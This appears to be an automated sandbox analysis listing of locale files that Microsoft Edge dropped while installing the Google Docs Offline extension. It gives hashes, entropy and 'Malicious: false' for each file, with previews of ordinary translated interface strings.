C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8148_1188421806\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
